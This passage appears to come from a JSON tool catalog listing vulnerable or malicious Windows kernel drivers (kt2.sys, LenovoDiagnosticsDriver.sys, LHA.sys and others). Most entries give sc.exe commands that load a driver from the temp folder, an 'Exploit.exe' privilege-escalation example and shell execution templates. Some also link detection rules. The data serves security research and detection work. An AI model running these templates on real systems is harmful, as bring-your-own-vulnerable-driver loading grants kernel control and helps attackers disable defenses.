    "name": "ksapi.sys",
    "namespace": "windows:kernel:ksapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/BlackSnufkin/BYOVD"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create kt2.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\kt2.sys type=kernel && sc.exe start kt2.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver kt2.sys\"\n\n# kt2.sys\n\nBlackCat Ransomware Deploys New Signed Kernel Driver. BlackCat ransomware incident that occurred in February 2023.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-kt2.md",
    "author": "Guus Verbeek",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "BlackCat Ransomware Deploys New Signed Kernel Driver. BlackCat ransomware incident that occurred in February 2023.",
    "execution": {
      "template": "sc.exe create kt2.sys binPath=C:\\windows\\temp\\kt2.sys type=kernel && sc.exe start kt2.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-kt2",
    "install": [
      {
        "method": "custom",
        "description": "Load kt2.sys kernel driver",
        "commands": [
          "sc.exe create kt2.sys binPath=C:\\windows\\temp\\kt2.sys type=kernel && sc.exe start kt2.sys"
        ]
      }
    ],
    "name": "kt2.sys",
    "namespace": "windows:kernel:kt2",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.trendmicro.com/en_us/research/23/e/blackcat-ransomware-deploys-new-signed-kernel-driver.html"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create ktes.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\ktes.sys type=kernel && sc.exe start ktes.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver ktes.sys\"\n\n# ktes.sys\n\nBlackCat Ransomware Deploys New Signed Kernel Driver. BlackCat ransomware incident that occurred in February 2023.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-ktes.md",
    "author": "Guus Verbeek",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "BlackCat Ransomware Deploys New Signed Kernel Driver. BlackCat ransomware incident that occurred in February 2023.",
    "execution": {
      "template": "sc.exe create ktes.sys binPath=C:\\windows\\temp\\ktes.sys type=kernel && sc.exe start ktes.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-ktes",
    "install": [
      {
        "method": "custom",
        "description": "Load ktes.sys kernel driver",
        "commands": [
          "sc.exe create ktes.sys binPath=C:\\windows\\temp\\ktes.sys type=kernel && sc.exe start ktes.sys"
        ]
      }
    ],
    "name": "ktes.sys",
    "namespace": "windows:kernel:ktes",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.trendmicro.com/en_us/research/23/e/blackcat-ransomware-deploys-new-signed-kernel-driver.html"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create ktgn.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\ktgn.sys type=kernel && sc.exe start ktgn.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver ktgn.sys\"\n\n# ktgn.sys\n\nBlackCat Ransomware Deploys New Signed Kernel Driver. BlackCat ransomware incident that occurred in February 2023.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-ktgn.md",
    "author": "Guus Verbeek",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "BlackCat Ransomware Deploys New Signed Kernel Driver. BlackCat ransomware incident that occurred in February 2023.",
    "execution": {
      "template": "sc.exe create ktgn.sys binPath=C:\\windows\\temp\\ktgn.sys type=kernel && sc.exe start ktgn.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-ktgn",
    "install": [
      {
        "method": "custom",
        "description": "Load ktgn.sys kernel driver",
        "commands": [
          "sc.exe create ktgn.sys binPath=C:\\windows\\temp\\ktgn.sys type=kernel && sc.exe start ktgn.sys"
        ]
      }
    ],
    "name": "ktgn.sys",
    "namespace": "windows:kernel:ktgn",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.trendmicro.com/en_us/research/23/e/blackcat-ransomware-deploys-new-signed-kernel-driver.html"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create ktmutil7ODM.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\ktmutil7ODM.sys type=kernel && sc.exe start ktmutil7ODM.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver ktmutil7ODM.sys\"\n\n# ktmutil7ODM.sys\n\nCisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021.\nRedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies.\nCode from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custom implementation of ReflectiveLoader.\nThe authors of RedDriver appear to be skilled in driver development and have deep knowledge of the Windows operating system.\nThis threat appears to target native Chinese speakers, as it searches for Chinese language browsers to hijack. Additionally, the authors are likely Chinese speakers themselves.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-ktmutil7odm.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Cisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021. RedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies. Code from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custo...",
    "execution": {
      "template": "sc.exe create ktmutil7ODM.sys binPath=C:\\windows\\temp\\ktmutil7ODM.sys type=kernel && sc.exe start ktmutil7ODM.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "requires-root",
      "stealth"
    ],
    "id": "windows-kernel-ktmutil7odm",
    "install": [
      {
        "method": "custom",
        "description": "Load ktmutil7ODM.sys kernel driver",
        "commands": [
          "sc.exe create ktmutil7ODM.sys binPath=C:\\windows\\temp\\ktmutil7ODM.sys type=kernel && sc.exe start ktmutil7ODM.sys"
        ]
      }
    ],
    "name": "ktmutil7ODM.sys",
    "namespace": "windows:kernel:ktmutil7odm",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blog.talosintelligence.com/undocumented-reddriver/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create l1malwarebits binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\l1malwarebits.sys type=kernel && sc.exe start l1malwarebits\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver l1malwarebits.sys\"\n\n# l1malwarebits.sys\n\nl1malwarebits.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-l1malwarebits.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "l1malwarebits.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create l1malwarebits binPath=C:\\windows\\temp\\l1malwarebits.sys type=kernel && sc.exe start l1malwarebits",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-l1malwarebits",
    "install": [
      {
        "method": "custom",
        "description": "Load l1malwarebits.sys kernel driver",
        "commands": [
          "sc.exe create l1malwarebits binPath=C:\\windows\\temp\\l1malwarebits.sys type=kernel && sc.exe start l1malwarebits"
        ]
      }
    ],
    "name": "l1malwarebits.sys",
    "namespace": "windows:kernel:l1malwarebits",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create Lallamon binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\Lallamon.sys type=kernel && sc.exe start Lallamon\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver Lallamon.sys\"\n\n# Lallamon.sys\n\nLallamon.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-lallamon.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Lallamon.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create Lallamon binPath=C:\\windows\\temp\\Lallamon.sys type=kernel && sc.exe start Lallamon",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-lallamon",
    "install": [
      {
        "method": "custom",
        "description": "Load Lallamon.sys kernel driver",
        "commands": [
          "sc.exe create Lallamon binPath=C:\\windows\\temp\\Lallamon.sys type=kernel && sc.exe start Lallamon"
        ]
      }
    ],
    "name": "Lallamon.sys",
    "namespace": "windows:kernel:lallamon",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create LcTkA.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\LcTkA.sys type=kernel && sc.exe start LcTkA.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver LcTkA.sys\"\n\n# LcTkA.sys\n\nSentinelOne has observed prominent threat actors abusing legitimately signed Microsoft drivers in active intrusions into telecommunication, BPO, MSSP, and financial services businesses.\nInvestigations into these intrusions led to the discovery of POORTRY and STONESTOP malware, part of a small toolkit designed to terminate AV and EDR processes.\nWe first reported our discovery to Microsoft’s Security Response Center (MSRC) in October 2022 and received an official case number (75361). Today, MSRC released an associated advisory under ADV220005.\nThis research is being released alongside Mandiant, a SentinelOne technology and incident response partner. \n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-lctka.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "SentinelOne has observed prominent threat actors abusing legitimately signed Microsoft drivers in active intrusions into telecommunication, BPO, MSSP, and financial services businesses. Investigations into these intrusions led to the discovery of POORTRY and STONESTOP malware, part of a small toolkit designed to terminate AV and EDR processes. We first reported our discovery to Microsoft’s Security Response Center (MSRC) in October 2022 and received an official case number (75361). Today, MSR...",
    "execution": {
      "template": "sc.exe create LcTkA.sys binPath=C:\\windows\\temp\\LcTkA.sys type=kernel && sc.exe start LcTkA.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-lctka",
    "install": [
      {
        "method": "custom",
        "description": "Load LcTkA.sys kernel driver",
        "commands": [
          "sc.exe create LcTkA.sys binPath=C:\\windows\\temp\\LcTkA.sys type=kernel && sc.exe start LcTkA.sys"
        ]
      }
    ],
    "name": "LcTkA.sys",
    "namespace": "windows:kernel:lctka",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.sentinelone.com/labs/driving-through-defenses-targeted-attacks-leverage-signed-malicious-microsoft-drivers/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create LenovoDiagnosticsDriver.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\LenovoDiagnosticsDriver.sys type=kernel && sc.exe start LenovoDiagnosticsDriver.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver LenovoDiagnosticsDriver.sys\"\n\n# LenovoDiagnosticsDriver.sys\n\nThe aforementioned driver has been identified as vulnerable to CVE-2022-3699\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-lenovodiagnosticsdriver.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The aforementioned driver has been identified as vulnerable to CVE-2022-3699",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/f05b1ee9e2f6ab704b8919d5071becbce6f9d0f9d0ba32a460c41d5272134abe.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create LenovoDiagnosticsDriver.sys binPath=C:\\windows\\temp\\LenovoDiagnosticsDriver.sys type=kernel && sc.exe start LenovoDiagnosticsDriver.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-lenovodiagnosticsdriver",
    "install": [
      {
        "method": "custom",
        "description": "Load LenovoDiagnosticsDriver.sys kernel driver",
        "commands": [
          "sc.exe create LenovoDiagnosticsDriver.sys binPath=C:\\windows\\temp\\LenovoDiagnosticsDriver.sys type=kernel && sc.exe start LenovoDiagnosticsDriver.sys"
        ]
      }
    ],
    "name": "LenovoDiagnosticsDriver.sys",
    "namespace": "windows:kernel:lenovodiagnosticsdriver",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      },
      {
        "label": "Reference",
        "url": "https://nephosec.com/cve-2022-3699-lenovo-diagnostics-driver-eop-arbitrary-r-w/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/alfarom256/CVE-2022-3699"
      },
      {
        "label": "Reference",
        "url": "https://support.lenovo.com/us/en/product_security/LEN-94532"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create LgCoreTemp.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\LgCoreTemp.sys     type=kernel && sc.exe start LgCoreTemp.sys\"\n\n# LgCoreTemp.sys\n\n**Use Case:** Denial of Service\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-lgcoretemp.md",
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Denial of Service",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create LgCoreTemp.sys binPath=C:\\windows\\temp\\LgCoreTemp.sys     type=kernel && sc.exe start LgCoreTemp.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-lgcoretemp",
    "install": [
      {
        "method": "custom",
        "description": "Load LgCoreTemp.sys kernel driver",
        "commands": [
          "sc.exe create LgCoreTemp.sys binPath=C:\\windows\\temp\\LgCoreTemp.sys     type=kernel && sc.exe start LgCoreTemp.sys"
        ]
      }
    ],
    "name": "LgCoreTemp.sys",
    "namespace": "windows:kernel:lgcoretemp",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/VoidSec/Exploit-Development/tree/b82b6d3ac1cce66221101d3e0f4634aa64cb4ca7/windows/x64/kernel/logitech_v.9.02.65_DoS"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create LgDataCatcher.sys binPath=C:\\\\windows\\\\temp\\\\LgDataCatcher.sys type=kernel && sc.exe start LgDataCatcher.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver LgDataCatcher.sys\"\n\n# LgDataCatcher.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-lgdatacatcher.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-lgdatacatcher",
    "name": "LgDataCatcher.sys",
    "namespace": "windows:kernel:lgdatacatcher",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create LgDCatcher.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\LgDCatcher.sys type=kernel && sc.exe start LgDCatcher.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver LgDCatcher.sys\"\n\n# LgDCatcher.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-lgdcatcher.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create LgDCatcher.sys binPath=C:\\windows\\temp\\LgDCatcher.sys type=kernel && sc.exe start LgDCatcher.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-lgdcatcher",
    "install": [
      {
        "method": "custom",
        "description": "Load LgDCatcher.sys kernel driver",
        "commands": [
          "sc.exe create LgDCatcher.sys binPath=C:\\windows\\temp\\LgDCatcher.sys type=kernel && sc.exe start LgDCatcher.sys"
        ]
      }
    ],
    "name": "LgDCatcher.sys",
    "namespace": "windows:kernel:lgdcatcher",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create LHA.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\LHA.sys type=kernel && sc.exe start LHA.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver LHA.sys\"\n\n# LHA.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n\n**Variants:** 2 known variants\n",
    "_source": "windows-kernel-lha.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/e75714f8e0ff45605f6fc7689a1a89c7dcd34aab66c6131c63fefaca584539cf.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create LHA.sys binPath=C:\\windows\\temp\\LHA.sys type=kernel && sc.exe start LHA.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-lha",
    "install": [
      {
        "method": "custom",
        "description": "Load LHA.sys kernel driver",
        "commands": [
          "sc.exe create LHA.sys binPath=C:\\windows\\temp\\LHA.sys type=kernel && sc.exe start LHA.sys"
        ]
      }
    ],
    "name": "LHA.sys",
    "namespace": "windows:kernel:lha",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/elastic/protections-artifacts/search?q=VulnDriver"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create libnicm.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\libnicm.sys type=kernel && sc.exe start libnicm.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver libnicm.sys\"\n\n# libnicm.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n\n**Variants:** 2 known variants\n",
    "_source": "windows-kernel-libnicm.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/95d50c69cdbf10c9c9d61e64fe864ac91e6f6caa637d128eb20e1d3510e776d3.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
